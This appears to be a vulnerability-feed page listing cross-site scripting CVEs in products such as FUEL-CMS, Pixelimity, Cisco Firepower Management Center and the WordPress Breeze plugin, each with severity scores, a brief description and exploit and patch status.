EPSS 1% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in /public/admin/index.php?add_product of E-Commerce Website v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS E Commerce Website +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability exists in FUEL-CMS 1.5.1 that allows an authenticated user to upload a malicious .pdf file which acts as a stored XSS payload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fuel Cms Thedaylightstudio
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

In SpringBootMovie <=1.2 when adding movie names, malicious code can be stored because there are no filtering parameters, resulting in stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Springbootmovie
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Pixelimity 1.0 allows attackers to execute arbitrary web scripts or HTML via the Title field in admin/pages.php?action=add_new. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Pixelimity
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an unauthenticated, remote attacker to conduct a cross-site scripting attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct a cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct a cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an authenticated, remote attacker to conduct a cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Secure Firewall Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Plugin Settings Change leading to Cross-Site Scripting (XSS) vulnerability in Cloudways Breeze plugin <= 2.0.2 on WordPress allows users with a subscriber or higher user role to execute any of the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Breeze +2
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40998

Related CWEs

MITRE ATT&CK

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